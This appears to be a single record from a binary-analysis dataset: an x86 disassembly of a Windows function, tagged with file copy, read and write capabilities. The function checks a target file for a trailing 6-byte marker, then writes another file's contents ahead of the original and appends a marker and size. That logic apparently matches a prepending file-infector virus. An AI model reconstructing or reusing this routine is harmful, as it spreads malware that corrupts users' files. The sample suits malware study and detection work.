Function at 0x404454
Capabilities:
Copy file
Read file on windows
Write file on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffd8
push ebx
push esi
push edi
xor edx, edx
mov dword [ebp - 0x28], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.004031a0
xor eax, eax
push ebp
push 0x40479d
push dword fs:[eax]
mov dword fs:[eax], esp
xor eax, eax
push ebp
push 0x404775
push dword fs:[eax]
mov dword fs:[eax], esp
push 0
push 0x80
push 3
push 0
push 3
push 0xc0000000
mov eax, dword [ebp - 4]
call fcn.004031b0
mov esi, eax
push esi
call sub.kernel32.dll_CreateFileA_1
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0xffffffff
je 0x40476b
mov eax, 6
call fcn.004024a4
mov ebx, eax
mov eax, 8
call fcn.004024a4
mov dword [ebp - 0x18], eax
mov eax, 8
call fcn.004024a4
mov dword [ebp - 0x1c], eax
mov eax, 8
call fcn.004024a4
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x20]
push eax
mov eax, dword [ebp - 0x1c]
push eax
mov eax, dword [ebp - 0x18]
push eax
mov eax, dword [ebp - 8]
push eax
call sub.kernel32.dll_GetFileTime
neg eax
sbb eax, eax
neg eax
mov byte [ebp - 0x21], al
xor eax, eax
push ebp
push 0x404764
push dword fs:[eax]
mov dword fs:[eax], esp
push 2
push 0
push 0xfffffffffffffff6
mov eax, dword [ebp - 8]
push eax
call sub.kernel32.dll_SetFilePointer_1
push 0
lea eax, [ebp - 0xc]
push eax
push 6
push ebx
mov eax, dword [ebp - 8]
push eax
call sub.kernel32.dll_ReadFile_1
lea eax, [ebp - 0x28]
mov edx, ebx
call fcn.00402f74
mov eax, dword [ebp - 0x28]
mov edx, 0x4047b4
call fcn.004030fc
je 0x40474d
mov eax, dword [ebp - 8]
push eax
call sub.kernel32.dll_CloseHandle_1
push 0
mov eax, dword [0x4074ec]
call fcn.004031b0
push eax
mov eax, dword [0x4074e8]
call fcn.004031b0
push eax
call sub.kernel32.dll_CopyFileA
test eax, eax
je 0x40474d
mov edx, dword [0x4074ec]
mov eax, dword [ebp - 4]
call fcn.004043bc
test al, al
je 0x40474d
push 0
push 0x80
push 3
push 0
push 3
push 0xc0000000
push esi
call sub.kernel32.dll_CreateFileA_1
mov dword [ebp - 8], eax
push 0
push 0x80
push 3
push 0
push 3
push 0xc0000000
mov eax, dword [0x4074ec]
call fcn.004031b0
push eax
call sub.kernel32.dll_CreateFileA_1
mov dword [0x4074d4], eax
cmp dword [ebp - 8], 0xffffffff
je 0x40474d
cmp dword [0x4074d4], 0xffffffff
je 0x40474d
xor eax, eax
push ebp
push 0x40472b
push dword fs:[eax]
mov dword fs:[eax], esp
push 2
push 0
push 0
mov eax, dword [0x4074d4]
push eax
call sub.kernel32.dll_SetFilePointer_1
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
call fcn.004024a4
mov esi, eax
push 0
push 0
push 0
mov eax, dword [0x4074d4]
push eax
call sub.kernel32.dll_SetFilePointer_1
push 0
lea eax, [ebp - 0xc]
push eax
mov eax, dword [ebp - 0x14]
push eax
push esi
mov eax, dword [0x4074d4]
push eax
call sub.kernel32.dll_ReadFile_1
test eax, eax
je 0x40470b
push 2
push 0
push 0
mov eax, dword [ebp - 8]
push eax
call sub.kernel32.dll_SetFilePointer_1
mov ebx, eax
mov eax, ebx
call fcn.004024a4
mov edi, eax
push 0
push 0
push 0
mov eax, dword [ebp - 8]
push eax
call sub.kernel32.dll_SetFilePointer_1
push 0
lea eax, [ebp - 0xc]
push eax
push ebx
push edi
mov eax, dword [ebp - 8]
push eax
call sub.kernel32.dll_ReadFile_1
test eax, eax
je 0x404704
push 0
push 0
push 0
mov eax, dword [ebp - 8]
push eax
call sub.kernel32.dll_SetFilePointer_1
push 0
lea eax, [ebp - 0x10]
push eax
mov eax, dword [ebp - 0x14]
push eax
push esi
mov eax, dword [ebp - 8]
push eax
call sub.kernel32.dll_WriteFile_1
test eax, eax
je 0x404704
push 0
lea eax, [ebp - 0x10]
push eax
push ebx
push edi
mov eax, dword [ebp - 8]
push eax
call sub.kernel32.dll_WriteFile_1
test eax, eax
je 0x404704
mov ebx, 0x4047bc
push 0
lea eax, [ebp - 0xc]
push eax
push 6
push ebx
mov eax, dword [ebp - 8]
push eax
call sub.kernel32.dll_WriteFile_1
test eax, eax
je 0x404704
push 0
lea eax, [ebp - 0x10]
push eax
push 4
lea eax, [ebp - 0x14]
push eax
mov eax, dword [ebp - 8]
push eax
call sub.kernel32.dll_WriteFile_1
test eax, eax
je 0x404704
mov eax, dword [ebp - 8]
push eax
call sub.kernel32.dll_FlushFileBuffers
mov eax, edi
call fcn.004024bc
mov eax, esi
call fcn.004024bc
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x404732
mov eax, dword [0x4074d4]
push eax
call sub.kernel32.dll_CloseHandle_1
ret
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40476b
mov eax, dword [ebp - 8]
push eax
call sub.kernel32.dll_CloseHandle_1
ret
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x40477f
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4047a4
lea eax, [ebp - 0x28]
call fcn.00402e78
lea eax, [ebp - 4]
call fcn.00402e78
ret